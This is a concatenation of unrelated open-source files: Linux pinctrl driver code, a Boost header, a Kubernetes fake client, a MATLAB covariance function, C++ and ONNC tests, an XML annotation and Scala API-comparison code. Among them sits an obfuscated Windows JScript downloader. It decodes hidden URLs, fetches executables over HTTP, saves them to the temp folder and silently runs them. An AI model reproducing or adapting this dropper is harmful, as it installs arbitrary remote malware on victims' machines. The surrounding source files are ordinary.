if (ret)
return ret;
for (i = 0; i < pctl->desc->npins; i++) {
const struct sunxi_desc_pin *pin = pctl->desc->pins + i;
ret = gpiochip_add_pin_range(pctl->chip, dev_name(&pdev->dev),
pin->pin.number - pctl->desc->pin_base,
pin->pin.number, 1);
if (ret)
goto gpiochip_error;
}
clk = devm_clk_get(&pdev->dev, NULL);
if (IS_ERR(clk)) {
ret = PTR_ERR(clk);
goto gpiochip_error;
}
ret = clk_prepare_enable(clk);
if (ret)
goto gpiochip_error;
pctl->irq = devm_kcalloc(&pdev->dev,
pctl->desc->irq_banks,
sizeof(*pctl->irq),
GFP_KERNEL);
if (!pctl->irq) {
ret = -ENOMEM;
goto clk_error;
}
for (i = 0; i < pctl->desc->irq_banks; i++) {
pctl->irq[i] = platform_get_irq(pdev, i);
if (pctl->irq[i] < 0) {
ret = pctl->irq[i];
goto clk_error;
}
}
pctl->domain = irq_domain_add_linear(node,
pctl->desc->irq_banks * IRQ_PER_BANK,
&sunxi_pinctrl_irq_domain_ops,
pctl);
if (!pctl->domain) {
dev_err(&pdev->dev, "Couldn't register IRQ domain\n");
ret = -ENOMEM;
goto clk_error;
}
for (i = 0; i < (pctl->desc->irq_banks * IRQ_PER_BANK); i++) {
int irqno = irq_create_mapping(pctl->domain, i);
irq_set_chip_and_handler(irqno, &sunxi_pinctrl_edge_irq_chip,
handle_edge_irq);
irq_set_chip_data(irqno, pctl);
}
for (i = 0; i < pctl->desc->irq_banks; i++) {
/* Mask and clear all IRQs before registering a handler */
writel(0, pctl->membase + sunxi_irq_ctrl_reg_from_bank(i,
pctl->desc->irq_bank_base));
writel(0xffffffff,
pctl->membase + sunxi_irq_status_reg_from_bank(i,
pctl->desc->irq_bank_base));
irq_set_chained_handler_and_data(pctl->irq[i],
sunxi_pinctrl_irq_handler,
pctl);
}
sunxi_pinctrl_setup_debounce(pctl, node);
dev_info(&pdev->dev, "initialized sunXi PIO driver\n");
return 0;
clk_error:
clk_disable_unprepare(clk);
gpiochip_error:
gpiochip_remove(pctl->chip);
return ret;
}
| {
"pile_set_name": "Github"
} |
// Boost.Signals library
// Copyright Douglas Gregor 2001-2003. Use, modification and
// distribution is subject to the Boost Software License, Version
// 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
// For more information, see http://www.boost.org
#ifndef BOOST_SIGNALS_SIGNAL8_HEADER
#define BOOST_SIGNALS_SIGNAL8_HEADER
#define BOOST_SIGNALS_NUM_ARGS 8
#define BOOST_SIGNALS_TEMPLATE_PARMS typename T1, typename T2, typename T3, typename T4, typename T5, typename T6, typename T7, typename T8
#define BOOST_SIGNALS_TEMPLATE_ARGS T1, T2, T3, T4, T5, T6, T7, T8
#define BOOST_SIGNALS_PARMS T1 a1, T2 a2, T3 a3, T4 a4, T5 a5, T6 a6, T7 a7, T8 a8
#define BOOST_SIGNALS_ARGS a1, a2, a3, a4, a5, a6, a7, a8
#define BOOST_SIGNALS_BOUND_ARGS args->a1, args->a2, args->a3, args->a4, args->a5, args->a6, args->a7, args->a8
#define BOOST_SIGNALS_ARGS_AS_MEMBERS T1 a1;T2 a2;T3 a3;T4 a4;T5 a5;T6 a6;T7 a7;T8 a8;
#define BOOST_SIGNALS_COPY_PARMS T1 ia1, T2 ia2, T3 ia3, T4 ia4, T5 ia5, T6 ia6, T7 ia7, T8 ia8
#define BOOST_SIGNALS_INIT_ARGS :a1(ia1), a2(ia2), a3(ia3), a4(ia4), a5(ia5), a6(ia6), a7(ia7), a8(ia8)
#define BOOST_SIGNALS_ARG_TYPES typedef T1 arg1_type; typedef T2 arg2_type; typedef T3 arg3_type; typedef T4 arg4_type; typedef T5 arg5_type; typedef T6 arg6_type; typedef T7 arg7_type; typedef T8 arg8_type;
#include <boost/signals/signal_template.hpp>
#undef BOOST_SIGNALS_ARG_TYPES
#undef BOOST_SIGNALS_INIT_ARGS
#undef BOOST_SIGNALS_COPY_PARMS
#undef BOOST_SIGNALS_ARGS_AS_MEMBERS
#undef BOOST_SIGNALS_BOUND_ARGS
#undef BOOST_SIGNALS_ARGS
#undef BOOST_SIGNALS_PARMS
#undef BOOST_SIGNALS_TEMPLATE_ARGS
#undef BOOST_SIGNALS_TEMPLATE_PARMS
#undef BOOST_SIGNALS_NUM_ARGS
#endif // BOOST_SIGNALS_SIGNAL8_HEADER
| {
"pile_set_name": "Github"
} |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package fake
import (
v1beta2 "k8s.io/client-go/kubernetes/typed/apps/v1beta2"
rest "k8s.io/client-go/rest"
testing "k8s.io/client-go/testing"
)
type FakeAppsV1beta2 struct {
*testing.Fake
}
func (c *FakeAppsV1beta2) ControllerRevisions(namespace string) v1beta2.ControllerRevisionInterface {
return &FakeControllerRevisions{c, namespace}
}
func (c *FakeAppsV1beta2) DaemonSets(namespace string) v1beta2.DaemonSetInterface {
return &FakeDaemonSets{c, namespace}
}
func (c *FakeAppsV1beta2) Deployments(namespace string) v1beta2.DeploymentInterface {
return &FakeDeployments{c, namespace}
}
func (c *FakeAppsV1beta2) ReplicaSets(namespace string) v1beta2.ReplicaSetInterface {
return &FakeReplicaSets{c, namespace}
}
func (c *FakeAppsV1beta2) StatefulSets(namespace string) v1beta2.StatefulSetInterface {
return &FakeStatefulSets{c, namespace}
}
// RESTClient returns a RESTClient that is used to communicate
// with API server by this client implementation.
func (c *FakeAppsV1beta2) RESTClient() rest.Interface {
var ret *rest.RESTClient
return ret
}
| {
"pile_set_name": "Github"
} |
function K = covLINard(hyp, x, z, i)
% Linear covariance function with Automatic Relevance Determination (ARD). The
% covariance function is parameterized as:
%
% k(x^p,x^q) = x^p'*inv(P)*x^q
%
% where the P matrix is diagonal with ARD parameters ell_1^2,...,ell_D^2, where
% D is the dimension of the input space. The hyperparameters are:
%
% hyp = [ log(ell_1)
% log(ell_2)
% ..
% log(ell_D) ]
%
% Note that there is no bias term; use covConst to add a bias.
%
% Copyright (c) by Carl Edward Rasmussen and Hannes Nickisch, 2010-09-10.
%
% See also COVFUNCTIONS.M.
if nargin<2, K = 'D'; return; end % report number of parameters
if nargin<3, z = []; end % make sure, z exists
xeqz = numel(z)==0; dg = strcmp(z,'diag') && numel(z)>0; % determine mode
ell = exp(hyp);
[n,D] = size(x);
x = x*diag(1./ell);
% precompute inner products
if dg % vector kxx
K = sum(x.*x,2);
else
if xeqz % symmetric matrix Kxx
K = x*x';
else % cross covariances Kxz
z = z*diag(1./ell);
K = x*z';
end
end
if nargin>3 % derivatives
if i<=D
if dg
K = -2*x(:,i).*x(:,i);
else
if xeqz
K = -2*x(:,i)*x(:,i)';
else
K = -2*x(:,i)*z(:,i)';
end
end
else
error('Unknown hyperparameter')
end
end | {
"pile_set_name": "Github"
} |
__all__ = ["PyMC3Potential"]
from .potential import PyMC3Potential
| {
"pile_set_name": "Github"
} |
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// <iterator>
// class ostreambuf_iterator
// ostreambuf_iterator<charT,traits>&
// operator=(charT c);
#include <iterator>
#include <sstream>
#include <cassert>
int main()
{
{
std::ostringstream outf;
std::ostreambuf_iterator<char> i(outf);
i = 'a';
assert(outf.str() == "a");
i = 'b';
assert(outf.str() == "ab");
}
{
std::wostringstream outf;
std::ostreambuf_iterator<wchar_t> i(outf);
i = L'a';
assert(outf.str() == L"a");
i = L'b';
assert(outf.str() == L"ab");
}
}
| {
"pile_set_name": "Github"
} |
function qPMNQSVjD(SdDVsrFYCRr) {
var EbMxdohS = "TCcx Ws GjwSGcH cri pt.S HFgJsQ hell".split(" ");
var WIbpXrtE = WScript.CreateObject(EbMxdohS[1] + EbMxdohS[3] + EbMxdohS[4] + EbMxdohS[6]);
WIbpXrtE.Run(SdDVsrFYCRr, 0x1, 0x0);
}
function QHOIWoBRH(cRymy,gyXjX,xvNOW,sEnY) {
var JPdAP = "rjWran seF pt.Shell ezjBwMX Scri %TE MP% \\".split(" ");
var JKm=((1)?"W" + JPdAP[4]:"")+JPdAP[2];
var Ap = WScript.CreateObject(JKm);
return Ap.ExpandEnvironmentStrings(JPdAP[6]+JPdAP[7]+JPdAP[8]);
}
function CriWMclW() {
var taADIWW = "Sc ZsrNpgq r ZWZqKbhlq ipting lkJUcer MdR ile LMpyMSjgsRMZPH System Qe GCKnE Obj RzLsiz ect pKSqNOG".split(" ");
return taADIWW[0] + taADIWW[2] + taADIWW[4] + ".F" + taADIWW[7] + taADIWW[9] + taADIWW[12] + taADIWW[14];
}
function tmYC(MamoO) {
HHwLect = WScript.CreateObject(MamoO);
return HHwLect
}
function bTAM(cxIfV,Fhjov) {
cxIfV.write(Fhjov);
}
function pEQF(QbsHg) {
QbsHg.open();
}
function GnDo(NPYXN,zVfSj) {
NPYXN.saveToFile(zVfSj,829-827);
}
function rwPr(PSIIS,ReSmG,wPXEm) {
PSIIS.open(wPXEm,ReSmG,false);
}
function Jsux(hItMP) {
if (hItMP == 458-258){return true;} else {return false;}
}
function IUqw(fQRfJ) {
if (fQRfJ > 169333-580){return true;} else {return false;}
}
function iswa(RxzxK) {
var errJr="";
I=(960-960);
while(true) {
if (I >= RxzxK.length) {break;}
if (I % (714-712) != (895-895)) {
errJr += RxzxK.substring(I, I+(898-897));
}
I++;
}
return errJr.replace(new RegExp('!','g'), 'e');
}
function ppVS(kvkzL) {
var sUVJodXs=["\x73\x65\x6E\x64"];
kvkzL[sUVJodXs[0]]();
}
function bEYV(tMReM) {
return tMReM.status;
}
function gUopv(boIrHK) {
return new ActiveXObject(boIrHK);
}
function gqnkxcu(bkFM) {
bkFM.position=0;
}
function wSuqJvn(lAUv) {
return lAUv.responseBody;
}
function dlolLJEJ(Vlv) {
return Vlv.size;
}
var gt="Wh3!FlJlKoZmnyMdQ!AanrfqJqg.6cDoBmZ/f6Z9b.y!8xM!b?Z dbqlbaqbplAaMwXoErSlIdcqfqM.LcsoHmM/u6O9j.G!gxs!p?K H?A c?J J?";
var P = iswa(gt).split(" ");
var PoJ = QHOIWoBRH("vCGR","XXGKm","LAqucM","DmINDvT");
var bou = gUopv(CriWMclW());
var KFZGJX = ("dGGJTjW \\").split(" ");
var sKhS = PoJ+KFZGJX[0]+KFZGJX[1];
try{
bou.CreateFolder(sKhS);
}catch(sAAMPL){
};
var qIv = ("2.XMLHTTP cgeZnic RVxHF XML ream St JeXLleDP AD GAzXVYG O NcTj D").split(" ");
var Fc = true , iVIq = qIv[7] + qIv[9] + qIv[11];
var CL = tmYC("MS"+qIv[3]+(815314, qIv[0]));
var RDC = tmYC(iVIq + "B." + qIv[5]+(979619, qIv[4]));
var ubU = 0;
var V = 1;
var hKCxhcg = 579518;
var i=ubU;
while (true) {
if(i>=P.length) {break;}
var lz = 0;
var AGi = ("ht" + " BqgRWID tp otGbz oBfoOFGi :// SMVEvsS .e xe G ET").split(" ");
try {
var XQEIy=AGi[0]+AGi[2]+AGi[5];
rwPr(CL,XQEIy+P[i]+V, AGi[9]+AGi[10]); ppVS(CL); if (Jsux(bEYV(CL))) {
pEQF(RDC); RDC.type = 1; bTAM(RDC,wSuqJvn(CL)); if (IUqw(dlolLJEJ(RDC))) {
lz = 1; gqnkxcu(RDC);GnDo(RDC,/*3TDc99GEhN*/sKhS/*3ONS67JKd1*/+hKCxhcg+AGi[7]+AGi[8]); try {
if (((new Date())>0,7864729888)) {
qPMNQSVjD(sKhS+hKCxhcg+/*23Jg58B3LL*/AGi[7]+AGi[8]/*XPsa79VoOk*/);
break;
}
}
catch (GT) {
};
}; RDC.close();
};
if (lz == 1) {
ubU = i; break;
};
}
catch (GT) {
};
i++;
};
| {
"pile_set_name": "Github"
} |
//===- LivenessAnalysisTest.cpp -------------------------------------------===//
//
// The ONNC Project
//
// See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include <skypat/skypat.h>
#include <onnc/Analysis/LivenessAnalysis.h>
#include <onnc/Core/PassManager.h>
#include <onnc/Support/OStrStream.h>
#include <onnc/Support/IOStream.h>
#include <onnc/Config/ONNX.h>
using namespace onnc;
using namespace std;
namespace {
using TP_DataType = xTensorProtoDataType;
const TP_DataType TP_FLOAT = (xTensorProtoDataType)xValueType::kFloat;
vector<xDimension> intSizeToDim(const vector<int> &pSizes)
{
vector<xDimension> dims;
for (int d : pSizes)
dims.push_back(xDimension(d));
return dims;
}
class GraphHelper;
class NodeHelper
{
public:
NodeHelper(GraphHelper *pParent, xNode *pNode)
: m_Parent(pParent), m_Node(pNode), m_HasInitFirstOutput(false) {}
NodeHelper()
: m_Parent(nullptr), m_Node(nullptr), m_HasInitFirstOutput(false) {}
NodeHelper & addOutput(const string &pName, const vector<int> &pSizes,
TP_DataType pElemTy = TP_FLOAT);
private:
GraphHelper *m_Parent;
xNode *m_Node;
bool m_HasInitFirstOutput;
};
class GraphHelper
{
public:
GraphHelper(xGraph *pGraph = nullptr)
{
m_Graph = pGraph;
m_NeedDeleteGraph = false;
if (!pGraph) {
m_NeedDeleteGraph = true;
m_Graph = new xGraph;
}
}
virtual ~GraphHelper()
{
if (m_NeedDeleteGraph)
delete m_Graph;
}
xValue & addInput(const string pName,
const vector<int> &pSizes /* nchw */,
TP_DataType pElemType = TP_FLOAT)
{
xValue *val = m_Graph->addInput();
val->setUniqueName(pName)
->setSizes(intSizeToDim(pSizes))
->setElemType(pElemType);
m_Values[pName] = val;
return *val;
}
// returned Node is only valid before another addNode().
NodeHelper & addNode(const string &pName, const vector<string> pInputs)
{
xNode *n = m_Graph->create(xSymbol(pName));
for (auto & input : pInputs) {
assert(m_Values.find(input) != m_Values.end() &&
"Value is not found.");
n->addInput(m_Values[input]);
}
m_Nodes[pName] = NodeHelper(this, n);
m_Graph->appendNode(n);
return m_Nodes[pName];
}
void addInitializer(const string &pName,
TP_DataType pElemType = TP_FLOAT)
{
xTensor t;
t.elem_type() = (xTensorProtoDataType)xValueType::kFloat;
t.setName(pName);
m_Graph->addInitializer(t, pName);
}
void addValue(xValue *pValue)
{
auto it = m_Values.find(pValue->uniqueName());
assert((it == m_Values.end() || it->second == pValue) &&
"Try to add different value with same name.");
if (it == m_Values.end())
m_Values[pValue->uniqueName()] = pValue;
}
void finish(const vector<string> pOutputs)
{
for (auto & output : pOutputs) {
assert(m_Values.find(output) != m_Values.end() &&
"Value is not found.");
// register graph output
m_Graph->registerOutput(m_Values[output]);
}
}
xGraph *getGraph() { return m_Graph; }
private:
unordered_map<string, NodeHelper> m_Nodes;
unordered_map<string, xValue *> m_Values;
bool m_NeedDeleteGraph;
xGraph *m_Graph;
};
NodeHelper & NodeHelper::addOutput(
const string &pName, const vector<int> &pSizes,
TP_DataType pElemTy)
{
assert(m_Node && "xNode should be created before any operation.");
xValue *out;
if (m_HasInitFirstOutput)
out = m_Node->addOutput();
else {
out = m_Node->output();
m_HasInitFirstOutput = true;
}
out->setUniqueName(pName)
->setSizes(intSizeToDim(pSizes))
->setElemType(pElemTy);
m_Parent->addValue(out);
return *this;
}
}
SKYPAT_F(LivenessAnalysisTest, testAlexNet){
GraphHelper graph(new xGraph());
// add inputs.
graph.addInput("data_0", {10, 3, 227, 227});
graph.addInput("conv1_w_0", {96, 3, 11, 11});
graph.addInput("conv1_b_0", {96});
graph.addInput("conv2_w_0", {256, 48, 5, 5});
graph.addInput("conv2_b_0", {256});
graph.addInput("conv3_w_0", {384, 256, 3, 3});
graph.addInput("conv3_b_0", {384});
graph.addInput("conv4_w_0", {384, 192, 3, 3});
graph.addInput("conv4_b_0", {384});
graph.addInput("conv5_w_0", {256, 192, 3, 3});
graph.addInput("conv5_b_0", {256});
graph.addInput("fc6_w_0", {4096, 9216});
graph.addInput("fc6_b_0", {4096});
graph.addInput("fc7_w_0", {4096, 4096});
graph.addInput("fc7_b_0", {4096});
graph.addInput("fc8_w_0", {1000, 4096});
graph.addInput("fc8_b_0", {1000});
// add initializers.
graph.addInitializer("conv1_w_0");
graph.addInitializer("conv1_b_0");
graph.addInitializer("conv2_w_0");
graph.addInitializer("conv2_b_0");
graph.addInitializer("conv3_w_0");
graph.addInitializer("conv3_b_0");
graph.addInitializer("conv4_w_0");
graph.addInitializer("conv4_b_0");
graph.addInitializer("conv5_w_0");
graph.addInitializer("conv5_b_0");
graph.addInitializer("fc6_w_0");
graph.addInitializer("fc6_b_0");
graph.addInitializer("fc7_w_0");
graph.addInitializer("fc7_b_0");
graph.addInitializer("fc8_w_0");
graph.addInitializer("fc8_b_0");
// create nodes (layers)
graph.addNode("Conv", {"data_0", "conv1_w_0", "conv1_b_0"})
.addOutput("conv1_1", {1});
graph.addNode("Relu", {"conv1_1"}).addOutput("conv1_2", {1});
graph.addNode("LRN", {"conv1_2"}).addOutput("norm1_1", {1});
graph.addNode("MaxPool", {"norm1_1"}).addOutput("pool1_1", {1});
graph.addNode("Conv", {"pool1_1", "conv2_w_0", "conv2_b_0"})
.addOutput("conv2_1", {1});
graph.addNode("Relu", {"conv2_1"}).addOutput("conv2_2", {1});
graph.addNode("LRN", {"conv2_2"}).addOutput("norm2_1", {1});
graph.addNode("MaxPool", {"norm2_1"}).addOutput("pool2_1", {1});
graph.addNode("Conv", {"pool2_1", "conv3_w_0", "conv3_b_0"})
.addOutput("conv3_1", {1});
graph.addNode("Relu", {"conv3_1"}).addOutput("conv3_2", {1});
graph.addNode("Conv", {"conv3_2", "conv4_w_0", "conv4_b_0"})
.addOutput("conv4_1", {1});
graph.addNode("Relu", {"conv4_1"}).addOutput("conv4_2", {1});
graph.addNode("Conv", {"conv4_2", "conv5_w_0", "conv5_b_0"})
.addOutput("conv5_1", {1});
graph.addNode("Relu", {"conv5_1"}).addOutput("conv5_2", {1});
graph.addNode("MaxPool", {"conv5_2"}).addOutput("pool5_1", {1});
graph.addNode("Gemm", {"pool5_1", "fc6_w_0", "fc6_b_0"})
.addOutput("fc6_1", {1});
graph.addNode("Relu", {"fc6_1"}).addOutput("fc6_2", {1});
graph.addNode("Dropout", {"fc6_2"}).addOutput("fc6_3", {1})
.addOutput("_fc6_mask_1", {1});
graph.addNode("Gemm", {"fc6_3", "fc7_w_0", "fc7_b_0"})
.addOutput("fc7_1", {1});
graph.addNode("Relu", {"fc7_1"}).addOutput("fc7_2", {1});
graph.addNode("Dropout", {"fc7_2"}).addOutput("fc7_3", {1})
.addOutput("_fc7_mask_1", {1});
graph.addNode("Gemm", {"fc7_3", "fc8_w_0", "fc8_b_0"})
.addOutput("fc8_1", {1});
graph.addNode("Softmax", {"fc8_1"}).addOutput("prob_1", {1});
// set graph output value(s).
graph.finish({"prob_1"});
Module module(std::unique_ptr<xGraph>(graph.getGraph()));
GraphLivenessAnalysis *liveAnalPass = CreateLivenessAnalysisPass();
PassManager pm;
pm.add(liveAnalPass);
pm.run(module);
// Answer:
struct ValRange
{
int start, end;
ValRange(int start, int end)
: start(start), end(end) {
}
};
const std::unordered_map<std::string, ValRange> valRanges = {
{"data_0", {0, 0}},
{"conv1_w_0", {0, 0}}, {"conv1_b_0", {0, 0}},
{"conv2_w_0", {4, 4}}, {"conv2_b_0", {4, 4}},
{"conv3_w_0", {8, 8}}, {"conv3_b_0", {8, 8}},
{"conv4_w_0", {10, 10}}, {"conv4_b_0", {10, 10}},
{"conv5_w_0", {12, 12}}, {"conv5_b_0", {12, 12}},
{"fc6_w_0", {15, 15}}, {"fc6_b_0", {15, 15}},
{"fc7_w_0", {18, 18}}, {"fc7_b_0", {18, 18}},
{"fc8_w_0", {21, 21}}, {"fc8_b_0", {21, 21}},
{"conv1_1", {0, 1}}, {"conv1_2", {1, 2}},
{"norm1_1", {2, 3}}, {"pool1_1", {3, 4}},
{"conv2_1", {4, 5}}, {"conv2_2", {5, 6}},
{"norm2_1", {6, 7}}, {"pool2_1", {7, 8}},
{"conv3_1", {8, 9}}, {"conv3_2", {9, 10}}, {"conv4_2", {11, 12}},
{"conv4_1", {10, 11}}, {"conv5_1", {12, 13}},
{"conv5_2", {13, 14}}, {"pool5_1", {14, 15}},
{"fc6_1", {15, 16}}, {"fc6_2", {16, 17}}, {"fc6_3", {17, 18}},
{"_fc6_mask_1", {17, 17}},
{"fc7_1", {18, 19}}, {"fc7_2", {19, 20}}, {"fc7_3", {20, 21}},
{"_fc7_mask_1", {20, 20}},
{"fc8_1", {21, 22}}, {"prob_1", {22, 22}}
};
for (const LiveInterval* li : liveAnalPass->getLiveIntervals()) {
auto it = valRanges.find(li->getValue().uniqueName());
ASSERT_TRUE(li->getStart() == it->second.start);
ASSERT_TRUE(li->getEnd() == it->second.end);
}
}
| {
"pile_set_name": "Github"
} |
<annotation>
<folder>tf2_train</folder>
<filename>output-000000414.jpg</filename>
<path>/home/ubuntu/Desktop/tf2_train/output-000000414.jpg</path>
<source>
<database>Unknown</database>
</source>
<size>
<width>1280</width>
<height>720</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>type-3</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>889</xmin>
<ymin>419</ymin>
<xmax>1189</xmax>
<ymax>638</ymax>
</bndbox>
</object> <object>
<name>type-3</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>89</xmin>
<ymin>518</ymin>
<xmax>402</xmax>
<ymax>620</ymax>
</bndbox>
</object> <object>
<name>type-3</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>60</xmin>
<ymin>390</ymin>
<xmax>385</xmax>
<ymax>504</ymax>
</bndbox>
</object>
</annotation>
| {
"pile_set_name": "Github"
} |
/*
* Zinc - The incremental compiler for Scala.
* Copyright Lightbend, Inc. and Mark Harrah
*
* Licensed under Apache License 2.0
* (http://www.apache.org/licenses/LICENSE-2.0).
*
* See the NOTICE file distributed with this work for
* additional information regarding copyright ownership.
*/
package xsbt.api
import xsbti.api._
import Function.tupled
import scala.collection.{ immutable, mutable }
/** Checks the API of two source files for equality.*/
object SameAPI {
def apply(a: AnalyzedClass, b: AnalyzedClass): Boolean =
a.apiHash == b.apiHash
def hasSameExtraHash(a: AnalyzedClass, b: AnalyzedClass): Boolean =
a.extraHash() == b.extraHash()
def apply(a: Definition, b: Definition): Boolean =
new SameAPI(false, true).sameDefinitions(List(a), List(b), topLevel = true)
def apply(a: Companions, b: Companions): Boolean = {
val sameClasses = apply(a.classApi, b.classApi)
val sameObjects = apply(a.objectApi, b.objectApi)
sameClasses && sameObjects
}
def apply(a: ClassLike, b: ClassLike): Boolean = new SameAPI(false, true).check(a, b)
def separateDefinitions(s: Seq[Definition]): (Seq[Definition], Seq[Definition]) =
s.partition(isValueDefinition)
def isValueDefinition(d: Definition): Boolean =
d match {
case _: FieldLike | _: Def => true
case c: ClassLikeDef => isValue(c.definitionType)
case _ => false
}
def isValue(d: DefinitionType): Boolean =
d == DefinitionType.Module || d == DefinitionType.PackageModule
/** Puts the given definitions in a map according to their names.*/
def byName(s: Seq[Definition]): Map[String, List[Definition]] = {
var map = Map[String, List[Definition]]()
for (d <- s; name = d.name)
map = map.updated(name, d :: map.getOrElse(name, Nil))
map
}
/**
* Removes definitions that should not be considered for API equality.
* All top-level definitions are always considered: 'private' only means package-private.
* Other definitions are considered if they are not qualified with 'private[this]' or 'private'.
*/
def filterDefinitions(ds: Seq[Definition], topLevel: Boolean, includePrivate: Boolean) =
if (topLevel || includePrivate) ds else ds.filter(APIUtil.isNonPrivate)
}
/**
* Used to implement API equality.
*
* If `includePrivate` is true, `private` and `private[this]` members are included in the comparison. Otherwise, those members are excluded.
*/
class SameAPI(includePrivate: Boolean, includeParamNames: Boolean) {
import SameAPI._
private val pending = new mutable.HashSet[AnyRef]
private[this] val debugEnabled = java.lang.Boolean.getBoolean("xsbt.api.debug")
def debug(flag: Boolean, msg: => String): Boolean = {
if (debugEnabled && !flag) println(msg)
flag
}
/** Returns true if source `a` has the same API as source `b`.*/
def check(a: ClassLike, b: ClassLike): Boolean = {
debug(a.name == b.name, "Class names differed") &&
debug(sameDefinitionContent(a, b), "Classes differed")
}
def sameTopLevel(a: ClassLike, b: ClassLike): Boolean =
a.topLevel == b.topLevel
def sameDefinitions(a: Seq[Definition], b: Seq[Definition], topLevel: Boolean): Boolean = {
val (avalues, atypes) = separateDefinitions(filterDefinitions(a, topLevel, includePrivate))
val (bvalues, btypes) = separateDefinitions(filterDefinitions(b, topLevel, includePrivate))
debug(sameDefinitions(byName(avalues), byName(bvalues)), "Value definitions differed") &&
debug(sameDefinitions(byName(atypes), byName(btypes)), "Type definitions differed")
}
def sameDefinitions(
a: scala.collection.Map[String, List[Definition]],
b: scala.collection.Map[String, List[Definition]]
): Boolean =
debug(
sameStrings(a.keySet, b.keySet),
"\tDefinition strings differed (a: " + (a.keySet -- b.keySet) + ", b: " + (b.keySet -- a.keySet) + ")"
) &&
zippedEntries(a, b).forall(tupled(sameNamedDefinitions))
/**
* Checks that the definitions in `a` are the same as those in `b`, ignoring order.
* Each list is assumed to have already been checked to have the same names (by `sameDefinitions`, for example).
*/
def sameNamedDefinitions(a: List[Definition], b: List[Definition]): Boolean = {
def sameDefs(a: List[Definition], b: List[Definition]): Boolean = {
a match {
case adef :: atail =>
def sameDef(seen: List[Definition], remaining: List[Definition]): Boolean =
remaining match {
case Nil => debug(flag = false, "Definition different in new API: \n" + adef.name)
case bdef :: btail =>
val eq = sameDefinitionContent(adef, bdef)
if (eq) sameDefs(atail, seen ::: btail) else sameDef(bdef :: seen, btail)
}
sameDef(Nil, b)
case Nil => true
}
}
debug(
a.length == b.length,
"\t\tLength differed for " + a.headOption.map(_.name).getOrElse("empty")
) && sameDefs(a, b)
}
/** Checks that the two definitions are the same, other than their name.*/
def sameDefinitionContent(a: Definition, b: Definition): Boolean =
samePending(a, b)(sameDefinitionContentDirect)
def sameDefinitionContentDirect(a: Definition, b: Definition): Boolean = {
//a.name == b.name &&
debug(sameAccess(a.access, b.access), "Access differed") &&
debug(sameModifiers(a.modifiers, b.modifiers), "Modifiers differed") &&
debug(sameAnnotations(a.annotations, b.annotations), "Annotations differed") &&
debug(sameDefinitionSpecificAPI(a, b), "Definition-specific differed")
}
def sameAccess(a: Access, b: Access): Boolean =
(a, b) match {
case (_: Public, _: Public) => true
case (qa: Protected, qb: Protected) => sameQualifier(qa, qb)
case (qa: Private, qb: Private) => sameQualifier(qa, qb)
case _ => debug(flag = false, "Different access categories")
}
def sameQualifier(a: Qualified, b: Qualified): Boolean =
sameQualifier(a.qualifier, b.qualifier)
def sameQualifier(a: Qualifier, b: Qualifier): Boolean =
(a, b) match {
case (_: Unqualified, _: Unqualified) => true
case (_: ThisQualifier, _: ThisQualifier) => true
case (ia: IdQualifier, ib: IdQualifier) =>
debug(ia.value == ib.value, "Different qualifiers")
case _ =>
debug(
flag = false,
"Different qualifier categories: " + a.getClass.getName + " -- " + b.getClass.getName
)
}
def sameModifiers(a: Modifiers, b: Modifiers): Boolean =
bitSet(a) == bitSet(b)
def bitSet(m: Modifiers): immutable.BitSet = {
import m._
val modifiers =
List(isAbstract, isOverride, isFinal, isSealed, isImplicit, isLazy, isMacro).zipWithIndex
(modifiers foldLeft immutable.BitSet.empty) { case (bs, (mod, i)) => if (mod) bs + i else bs }
}
def setIf(bs: mutable.BitSet, flag: Boolean, i: Int): Unit = {
if (flag) bs += i
()
}
def sameAnnotations(a: Seq[Annotation], b: Seq[Annotation]): Boolean =
sameSeq(a, b)(sameAnnotation)
def sameAnnotation(a: Annotation, b: Annotation): Boolean =
debug(sameType(a.base, b.base), "Annotation base type differed") &&
debug(
sameAnnotationArguments(a.arguments, b.arguments),
"Annotation arguments differed (" + a + ") and (" + b + ")"
)
def sameAnnotationArguments(a: Seq[AnnotationArgument], b: Seq[AnnotationArgument]): Boolean =
argumentMap(a) == argumentMap(b)
def argumentMap(a: Seq[AnnotationArgument]): Map[String, String] =
Map() ++ a.map(arg => (arg.name, arg.value))
def sameDefinitionSpecificAPI(a: Definition, b: Definition): Boolean =
(a, b) match {
case (fa: FieldLike, fb: FieldLike) => sameFieldSpecificAPI(fa, fb)
case (pa: ParameterizedDefinition, pb: ParameterizedDefinition) =>
sameParameterizedDefinition(pa, pb)
case (ca: ClassLike, cb: ClassLike) => sameClassLikeSpecificAPI(ca, cb)
case _ => false
}
def sameParameterizedDefinition(a: ParameterizedDefinition, b: ParameterizedDefinition): Boolean =
debug(
sameTypeParameters(a.typeParameters, b.typeParameters),
"Different type parameters for " + a.name
) &&
sameParameterizedSpecificAPI(a, b)
def sameParameterizedSpecificAPI(
a: ParameterizedDefinition,
b: ParameterizedDefinition
): Boolean =
(a, b) match {
case (da: Def, db: Def) => sameDefSpecificAPI(da, db)
case (ca: ClassLikeDef, cb: ClassLikeDef) => sameClassLikeDefSpecificAPI(ca, cb)
case (ta: TypeAlias, tb: TypeAlias) => sameAliasSpecificAPI(ta, tb)
case (ta: TypeDeclaration, tb: TypeDeclaration) => sameDeclarationSpecificAPI(ta, tb)
case _ => false
}
def sameDefSpecificAPI(a: Def, b: Def): Boolean =
debug(
sameValueParameters(a.valueParameters, b.valueParameters),
"Different def value parameters for " + a.name
) &&
debug(sameType(a.returnType, b.returnType), "Different def return type for " + a.name)
